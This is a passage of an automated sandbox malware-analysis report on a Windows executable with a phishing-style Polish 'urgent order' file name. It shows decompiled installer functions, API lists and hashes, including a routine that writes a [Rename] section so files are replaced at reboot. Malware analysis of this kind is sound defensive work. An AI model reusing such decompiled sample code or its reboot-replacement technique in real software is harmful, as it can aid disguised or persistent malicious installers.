                                                                                              • Opcode Fuzzy Hash: 98c6856de954bf32f67bc9aae575288044ef0a57168b27d926b9bae310f30c25
                                                                                              • Instruction Fuzzy Hash: 785138B1A00208BFCF10DFA4C988A9D7BB5FF48319F20856AF515EB2D1DB799941CB54
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00402688 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 39%
                                                                                              			E00402688(char __ebx, char* __edi, char* __esi) {
				void* _t19;

				if(FindFirstFileA(E00402A3A(2), _t19 - 0x1a4) != 0xffffffff) {
					E00405C57(__edi, _t6);
					_push(_t19 - 0x178);
					_push(__esi);
					E00405CF9();
				} else {
					 *__edi = __ebx;
					 *__esi = __ebx;
					 *((intOrPtr*)(_t19 - 4)) = 1;
				}
				 *0x423788 =  *0x423788 +  *((intOrPtr*)(_t19 - 4));
				return 0;
			}




                                                                                              0x004026a0
                                                                                              0x004026b4
                                                                                              0x004026bf
                                                                                              0x004026c0
                                                                                              0x004027f5
                                                                                              0x004026a2
                                                                                              0x004026a2
                                                                                              0x004026a4
                                                                                              0x004026a6
                                                                                              0x004026a6
                                                                                              0x004028d2
                                                                                              0x004028de

                                                                                              APIs
                                                                                              • FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 00402697
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: FileFindFirst
                                                                                              • String ID:
                                                                                              • API String ID: 1974802433-0
                                                                                              • Opcode ID: a8d2051a0b43e45e0548476364d3f5ec7a3e7dc7c9238cb7b637b6be69fa9f30
                                                                                              • Instruction ID: a95b2630499809d01a6e7b037cab792d100f7a465f9f887e4e98b5ff960ae470
                                                                                              • Opcode Fuzzy Hash: a8d2051a0b43e45e0548476364d3f5ec7a3e7dc7c9238cb7b637b6be69fa9f30
                                                                                              • Instruction Fuzzy Hash: 79F0A7726082009BE701E7A49949AEE7778DB61314F60057BE241A21C1D7B84985AB3A
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00404027 Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 205windowstringCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 94%
                                                                                              			E00404027(struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, int _a16) {
				char* _v8;
				signed int _v12;
				void* _v16;
				struct HWND__* _t52;
				long _t86;
				int _t98;
				struct HWND__* _t99;
				signed int _t100;
				intOrPtr _t103;
				signed int _t106;
				intOrPtr _t107;
				intOrPtr _t109;
				int _t110;
				signed int* _t112;
				signed int _t113;
				char* _t114;
				CHAR* _t115;

				if(_a8 != 0x110) {
					__eflags = _a8 - 0x111;
					if(_a8 != 0x111) {
						L11:
						__eflags = _a8 - 0x4e;
						if(_a8 != 0x4e) {
							__eflags = _a8 - 0x40b;
							if(_a8 == 0x40b) {
								 *0x41ecd4 =  *0x41ecd4 + 1;
								__eflags =  *0x41ecd4;
							}
							L25:
							_t110 = _a16;
							L26:
							return E00403F45(_a8, _a12, _t110);
						}
						_t52 = GetDlgItem(_a4, 0x3e8);
						_t110 = _a16;
						__eflags =  *((intOrPtr*)(_t110 + 8)) - 0x70b;
						if( *((intOrPtr*)(_t110 + 8)) == 0x70b) {
							__eflags =  *((intOrPtr*)(_t110 + 0xc)) - 0x201;
							if( *((intOrPtr*)(_t110 + 0xc)) == 0x201) {
								_t100 =  *((intOrPtr*)(_t110 + 0x1c));
								_t109 =  *((intOrPtr*)(_t110 + 0x18));
								_v12 = _t100;
								__eflags = _t100 - _t109 - 0x800;
								_v16 = _t109;
								_v8 = 0x4226a0;
								if(_t100 - _t109 < 0x800) {
									SendMessageA(_t52, 0x44b, 0,  &_v16);
									SetCursor(LoadCursorA(0, 0x7f02));
									ShellExecuteA(_a4, "open", _v8, 0, 0, "true");
									SetCursor(LoadCursorA(0, 0x7f00));
									_t110 = _a16;
								}
							}
						}
						__eflags =  *((intOrPtr*)(_t110 + 8)) - 0x700;
						if( *((intOrPtr*)(_t110 + 8)) != 0x700) {
							goto L26;
						} else {
							__eflags =  *((intOrPtr*)(_t110 + 0xc)) - 0x100;
							if( *((intOrPtr*)(_t110 + 0xc)) != 0x100) {
								goto L26;
							}
							__eflags =  *((intOrPtr*)(_t110 + 0x10)) - 0xd;
							if( *((intOrPtr*)(_t110 + 0x10)) == 0xd) {
								SendMessageA( *0x423708, 0x111, "true", 0);
							}
							__eflags =  *((intOrPtr*)(_t110 + 0x10)) - 0x1b;
							if( *((intOrPtr*)(_t110 + 0x10)) == 0x1b) {
								SendMessageA( *0x423708, 0x10, 0, 0);
							}
							return 1;
						}
					}
					__eflags = _a12 >> 0x10;
					if(_a12 >> 0x10 != 0) {
						goto L25;
					}
					__eflags =  *0x41ecd4; // 0x0
					if(__eflags != 0) {
						goto L25;
					}
					_t103 =  *0x41f4e0; // 0x703ecc
					_t25 = _t103 + 0x14; // 0x703ee0
					_t112 = _t25;
					__eflags =  *_t112 & 0x00000020;
					if(( *_t112 & 0x00000020) == 0) {
						goto L25;
					}
					_t106 =  *_t112 & 0xfffffffe | SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
					__eflags = _t106;
					 *_t112 = _t106;
					E00403F00(SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
					E004042B1();
					goto L11;
				} else {
					_t98 = _a16;
					_t113 =  *(_t98 + 0x30);
					if(_t113 < 0) {
						_t107 =  *0x422edc; // 0x707941
						_t113 =  *(_t107 - 4 + _t113 * 4);
					}
					_push( *((intOrPtr*)(_t98 + 0x34)));
					_t114 = _t113 +  *0x423738;
					_push(0x22);
					_a16 =  *_t114;
					_v12 = _v12 & 0x00000000;
					_t115 = _t114 + 1;
					_v16 = _t115;
					_v8 = E00403FF2;
					E00403EDE(_a4);
					_push( *((intOrPtr*)(_t98 + 0x38)));
					_push(0x23);
					E00403EDE(_a4);
					CheckDlgButton(_a4, (0 | ( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, "true");
					E00403F00( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001);
					_t99 = GetDlgItem(_a4, 0x3e8);
					E00403F13(_t99);
					SendMessageA(_t99, 0x45b, "true", 0);
					_t86 =  *( *0x423710 + 0x68);
					if(_t86 < 0) {
						_t86 = GetSysColor( ~_t86);
					}
					SendMessageA(_t99, 0x443, 0, _t86);
					SendMessageA(_t99, 0x445, 0, 0x4010000);
					SendMessageA(_t99, 0x435, 0, lstrlenA(_t115));
					 *0x41ecd4 = 0;
					SendMessageA(_t99, 0x449, _a16,  &_v16);
					 *0x41ecd4 = 0;
					return 0;
				}
			}




















                                                                                              0x00404037
                                                                                              0x00404149
                                                                                              0x0040415c
                                                                                              0x004041b8
                                                                                              0x004041b8
                                                                                              0x004041bc
                                                                                              0x0040428c
                                                                                              0x00404293
                                                                                              0x00404295
                                                                                              0x00404295
                                                                                              0x00404295
                                                                                              0x0040429b
                                                                                              0x0040429b
                                                                                              0x0040429e
                                                                                              0x00000000
                                                                                              0x004042a5
                                                                                              0x004041ca
                                                                                              0x004041cc
                                                                                              0x004041cf
                                                                                              0x004041d6
                                                                                              0x004041d8
                                                                                              0x004041df
                                                                                              0x004041e1
                                                                                              0x004041e4
                                                                                              0x004041e7
                                                                                              0x004041ec
                                                                                              0x004041f2
                                                                                              0x004041f5
                                                                                              0x004041fc
                                                                                              0x0040420a
                                                                                              0x00404222
                                                                                              0x00404235
                                                                                              0x00404245
                                                                                              0x00404247
                                                                                              0x00404247
                                                                                              0x004041fc
                                                                                              0x004041df
                                                                                              0x0040424a
                                                                                              0x00404251
                                                                                              0x00000000
                                                                                              0x00404253
                                                                                              0x00404253
                                                                                              0x0040425a
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040425c
                                                                                              0x00404260
                                                                                              0x00404271
                                                                                              0x00404271
                                                                                              0x00404273
                                                                                              0x00404277
                                                                                              0x00404285
                                                                                              0x00404285
                                                                                              0x00000000
                                                                                              0x00404289
                                                                                              0x00404251
                                                                                              0x00404164
                                                                                              0x00404167
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040416f
                                                                                              0x00404175
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040417b
                                                                                              0x00404181
                                                                                              0x00404181
                                                                                              0x00404184
                                                                                              0x00404187
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004041aa
                                                                                              0x004041aa
                                                                                              0x004041ac
                                                                                              0x004041ae
                                                                                              0x004041b3
                                                                                              0x00000000
                                                                                              0x0040403d
                                                                                              0x0040403d
                                                                                              0x00404040
                                                                                              0x00404045
                                                                                              0x00404047
                                                                                              0x00404056
                                                                                              0x00404056
                                                                                              0x0040405d
                                                                                              0x00404060
                                                                                              0x00404062
                                                                                              0x00404067
                                                                                              0x00404070
                                                                                              0x00404076
                                                                                              0x00404082
                                                                                              0x00404085
                                                                                              0x0040408e
                                                                                              0x00404093
                                                                                              0x00404096
                                                                                              0x0040409b
                                                                                              0x004040b2
                                                                                              0x004040b9
                                                                                              0x004040cc
                                                                                              0x004040cf
                                                                                              0x004040e4
                                                                                              0x004040eb
                                                                                              0x004040f0
                                                                                              0x004040f5
                                                                                              0x004040f5
                                                                                              0x00404104
                                                                                              0x00404113
                                                                                              0x00404125
                                                                                              0x0040412a
                                                                                              0x0040413a
                                                                                              0x0040413c
                                                                                              0x00000000
                                                                                              0x00404142

                                                                                              APIs
                                                                                              • CheckDlgButton.USER32(00000000,-0000040A,?), ref: 004040B2
                                                                                              • GetDlgItem.USER32(00000000,000003E8), ref: 004040C6
                                                                                              • SendMessageA.USER32(00000000,0000045B,?,00000000), ref: 004040E4
                                                                                              • GetSysColor.USER32(?), ref: 004040F5
                                                                                              • SendMessageA.USER32(00000000,00000443,00000000,?), ref: 00404104
                                                                                              • SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00404113
                                                                                              • lstrlenA.KERNEL32(?), ref: 00404116
                                                                                              • SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00404125
                                                                                              • SendMessageA.USER32(00000000,00000449,?,00000110), ref: 0040413A
                                                                                              • GetDlgItem.USER32(?,0000040A), ref: 0040419C
                                                                                              • SendMessageA.USER32(00000000), ref: 0040419F
                                                                                              • GetDlgItem.USER32(?,000003E8), ref: 004041CA
                                                                                              • SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 0040420A
                                                                                              • LoadCursorA.USER32(00000000,00007F02), ref: 00404219
                                                                                              • SetCursor.USER32(00000000), ref: 00404222
                                                                                              • ShellExecuteA.SHELL32(0000070B,open,004226A0,00000000,00000000,?), ref: 00404235
                                                                                              • LoadCursorA.USER32(00000000,00007F00), ref: 00404242
                                                                                              • SetCursor.USER32(00000000), ref: 00404245
                                                                                              • SendMessageA.USER32(00000111,?,00000000), ref: 00404271
                                                                                              • SendMessageA.USER32(00000010,00000000,00000000), ref: 00404285
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
                                                                                              • String ID: Ayp$Call$N$open
                                                                                              • API String ID: 3615053054-2992637823
                                                                                              • Opcode ID: d6331d360d592cb1fcb1934a6ab791839a151b05b6f3426df7f2f496f579edd7
                                                                                              • Instruction ID: f5dd8c80699fee66c1c508087d6ededbe7bbcdfb93c9c5870bdb982cd402330a
                                                                                              • Opcode Fuzzy Hash: d6331d360d592cb1fcb1934a6ab791839a151b05b6f3426df7f2f496f579edd7
                                                                                              • Instruction Fuzzy Hash: 1261C5B1A40209BFEB109F61DC45F6A7B79FB84741F10807AFB057A2D1C7B8A951CB98
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 90%
                                                                                              			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x423710;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectA( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, "true");
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextA(_t128, 0x422f00, 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x423708;
				}
				return DefWindowProcA(_a4, _a8, _a12, _t102);
			}













                                                                                              0x0040100a
                                                                                              0x00401039
                                                                                              0x00401047
                                                                                              0x0040104d
                                                                                              0x00401051
                                                                                              0x0040105b
                                                                                              0x00401061
                                                                                              0x00401064
                                                                                              0x004010f3
                                                                                              0x00401089
                                                                                              0x0040108c
                                                                                              0x004010a6
                                                                                              0x004010bd
                                                                                              0x004010cc
                                                                                              0x004010cf
                                                                                              0x004010d5
                                                                                              0x004010d9
                                                                                              0x004010e4
                                                                                              0x004010ed
                                                                                              0x004010ef
                                                                                              0x004010ef
                                                                                              0x00401100
                                                                                              0x00401105
                                                                                              0x0040110d
                                                                                              0x00401110
                                                                                              0x00401112
                                                                                              0x00401118
                                                                                              0x0040111f
                                                                                              0x00401126
                                                                                              0x00401130
                                                                                              0x00401142
                                                                                              0x00401156
                                                                                              0x00401160
                                                                                              0x00401165
                                                                                              0x00401165
                                                                                              0x00401110
                                                                                              0x0040116e
                                                                                              0x00000000
                                                                                              0x00401178
                                                                                              0x00401010
                                                                                              0x00401013
                                                                                              0x00401015
                                                                                              0x0040101f
                                                                                              0x0040101f
                                                                                              0x00000000

                                                                                              APIs
                                                                                              • DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
                                                                                              • BeginPaint.USER32(?,?), ref: 00401047
                                                                                              • GetClientRect.USER32(?,?), ref: 0040105B
                                                                                              • CreateBrushIndirect.GDI32(00000000), ref: 004010CF
                                                                                              • FillRect.USER32(00000000,?,00000000), ref: 004010E4
                                                                                              • DeleteObject.GDI32(?), ref: 004010ED
                                                                                              • CreateFontIndirectA.GDI32(?), ref: 00401105
                                                                                              • SetBkMode.GDI32(00000000,?), ref: 00401126
                                                                                              • SetTextColor.GDI32(00000000,000000FF), ref: 00401130
                                                                                              • SelectObject.GDI32(00000000,?), ref: 00401140
                                                                                              • DrawTextA.USER32(00000000,00422F00,000000FF,00000010,00000820), ref: 00401156
                                                                                              • SelectObject.GDI32(00000000,00000000), ref: 00401160
                                                                                              • DeleteObject.GDI32(?), ref: 00401165
                                                                                              • EndPaint.USER32(?,?), ref: 0040116E
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
                                                                                              • String ID: F
                                                                                              • API String ID: 941294808-1304234792
                                                                                              • Opcode ID: c0f94b8c962ee7b75acafc3cefd778743504d8a107dd351fe724bfdc705f9f00
                                                                                              • Instruction ID: a0b7ce50fec83efafeb16569406a1c152c04985fcf8b97c7298fc3655e55bd79
                                                                                              • Opcode Fuzzy Hash: c0f94b8c962ee7b75acafc3cefd778743504d8a107dd351fe724bfdc705f9f00
                                                                                              • Instruction Fuzzy Hash: CD419B71804249AFCF058FA4CD459AFBFB9FF44310F00812AF961AA1A0C738EA50DFA5
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00405A42 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E00405A42(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t13;
				long _t25;
				char* _t32;
				int _t38;
				void* _t39;
				intOrPtr* _t40;
				long _t43;
				CHAR* _t45;
				void* _t47;
				void* _t49;
				void* _t50;
				void* _t53;
				void* _t54;

				_t39 = __ecx;
				lstrcpyA(0x421a98, "NUL");
				_t45 =  *(_t53 + 0x18);
				if(_t45 == 0) {
					L3:
					_t13 = GetShortPathNameA( *(_t53 + 0x1c), 0x421e98, 0x400);
					if(_t13 != 0 && _t13 <= 0x400) {
						_t38 = wsprintfA(0x421698, "%s=%s\r\n", 0x421a98, 0x421e98);
						_t54 = _t53 + 0x10;
						E00405D1B(_t38, 0x421a98, 0x421e98, 0x421e98,  *((intOrPtr*)( *0x423710 + 0x128)));
						_t13 = E0040596C(0x421e98, 0xc0000000, 4);
						_t49 = _t13;
						 *(_t54 + 0x18) = _t49;
						if(_t49 != 0xffffffff) {
							_t43 = GetFileSize(_t49, 0);
							_t6 = _t38 + 0xa; // 0xa
							_t47 = GlobalAlloc(0x40, _t43 + _t6);
							if(_t47 == 0 || E004059E4(_t49, _t47, _t43) == 0) {
								L18:
								return CloseHandle(_t49);
							} else {
								if(E004058D1(_t39, _t47, "[Rename]\r\n") != 0) {
									_t50 = E004058D1(_t39, _t22 + 0xa, 0x4093b0);
									if(_t50 == 0) {
										_t49 =  *(_t54 + 0x18);
										L16:
										_t25 = _t43;
										L17:
										E00405927(_t25 + _t47, 0x421698, _t38);
										SetFilePointer(_t49, 0, 0, 0);
										E00405A13(_t49, _t47, _t43 + _t38);
										GlobalFree(_t47);
										goto L18;
									}
									_t40 = _t47 + _t43;
									_t32 = _t40 + _t38;
									while(_t40 > _t50) {
										 *_t32 =  *_t40;
										_t32 = _t32 - 1;
										_t40 = _t40 - 1;
									}
									_t25 = _t50 - _t47 + 1;
									_t49 =  *(_t54 + 0x18);
									goto L17;
								}
								lstrcpyA(_t47 + _t43, "[Rename]\r\n");
								_t43 = _t43 + 0xa;
								goto L16;
							}
						}
					}
				} else {
					CloseHandle(E0040596C(_t45, 0, "true"));
					_t13 = GetShortPathNameA(_t45, 0x421a98, 0x400);
					if(_t13 != 0 && _t13 <= 0x400) {
						goto L3;
					}
				}
				return _t13;
			}



















                                                                                              0x00405a42
                                                                                              0x00405a51
                                                                                              0x00405a57
                                                                                              0x00405a68
                                                                                              0x00405a90
                                                                                              0x00405a9b
                                                                                              0x00405a9f
                                                                                              0x00405abf
                                                                                              0x00405ac6
                                                                                              0x00405ad0
                                                                                              0x00405add
                                                                                              0x00405ae2
                                                                                              0x00405ae7
                                                                                              0x00405aeb
                                                                                              0x00405afa
                                                                                              0x00405afc
                                                                                              0x00405b09
                                                                                              0x00405b0d
                                                                                              0x00405ba8
                                                                                              0x00000000
                                                                                              0x00405b23
                                                                                              0x00405b30
                                                                                              0x00405b54
                                                                                              0x00405b58
                                                                                              0x00405b77
                                                                                              0x00405b7b
                                                                                              0x00405b7b
                                                                                              0x00405b7d
                                                                                              0x00405b86
                                                                                              0x00405b91
                                                                                              0x00405b9c
                                                                                              0x00405ba2
                                                                                              0x00000000
                                                                                              0x00405ba2
                                                                                              0x00405b5a
                                                                                              0x00405b5d
                                                                                              0x00405b68
                                                                                              0x00405b64
                                                                                              0x00405b66
                                                                                              0x00405b67
                                                                                              0x00405b67
                                                                                              0x00405b6f
                                                                                              0x00405b71
                                                                                              0x00000000
                                                                                              0x00405b71
                                                                                              0x00405b3b
                                                                                              0x00405b41
                                                                                              0x00000000
                                                                                              0x00405b41
                                                                                              0x00405b0d
                                                                                              0x00405aeb
                                                                                              0x00405a6a
                                                                                              0x00405a75
                                                                                              0x00405a7e
                                                                                              0x00405a82
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00405a82
                                                                                              0x00405bb3

                                                                                              APIs
                                                                                              • lstrcpyA.KERNEL32(00421A98,NUL,?,00000000,?,00000000,00405BD5,?,?), ref: 00405A51
                                                                                              • CloseHandle.KERNEL32(00000000,?,00000000,?,?,00000000,00405BD5,?,?), ref: 00405A75
                                                                                              • GetShortPathNameA.KERNEL32(?,00421A98,00000400), ref: 00405A7E
                                                                                                • Part of subcall function 004058D1: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B2E,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004058E1
                                                                                                • Part of subcall function 004058D1: lstrlenA.KERNEL32(00000000,?,00000000,00405B2E,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405913
                                                                                              • GetShortPathNameA.KERNEL32(00421E98,00421E98,00000400), ref: 00405A9B
                                                                                              • wsprintfA.USER32 ref: 00405AB9
                                                                                              • GetFileSize.KERNEL32(00000000,00000000,00421E98,C0000000,00000004,00421E98,?,?,?,?,?), ref: 00405AF4
                                                                                              • GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405B03
                                                                                              • lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B3B
                                                                                              • SetFilePointer.KERNEL32(004093B0,00000000,00000000,00000000,00000000,00421698,00000000,-0000000A,004093B0,00000000,[Rename],00000000,00000000,00000000), ref: 00405B91
                                                                                              • GlobalFree.KERNEL32(00000000), ref: 00405BA2
                                                                                              • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405BA9
                                                                                                • Part of subcall function 0040596C: GetFileAttributesA.KERNELBASE(00000003,00402CA6,C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe,80000000,00000003), ref: 00405970
                                                                                                • Part of subcall function 0040596C: CreateFileA.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 00405992
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
                                                                                              • String ID: %s=%s$NUL$[Rename]
                                                                                              • API String ID: 222337774-4148678300
                                                                                              • Opcode ID: d0b3027ef6b6729443384411225f78b74e353092e57950ba2d6c15bf0c4c4ff6
                                                                                              • Instruction ID: 42b7cc2c3f2f4ef7c3412fd2f3d3cbe4eee66c4c235e50fd6e5efd85f9217fc4
                                                                                              • Opcode Fuzzy Hash: d0b3027ef6b6729443384411225f78b74e353092e57950ba2d6c15bf0c4c4ff6
                                                                                              • Instruction Fuzzy Hash: 9931E271A04B19ABD2206B619C89F6B3A6CDF45755F14003AFE05F62D2DA7CBC008E6D
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00405F64 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E00405F64(CHAR* _a4) {
				char _t5;
				char _t7;
				char* _t15;
				char* _t16;
				CHAR* _t17;

				_t17 = _a4;
				if( *_t17 == 0x5c && _t17[1] == 0x5c && _t17[2] == 0x3f && _t17[3] == 0x5c) {
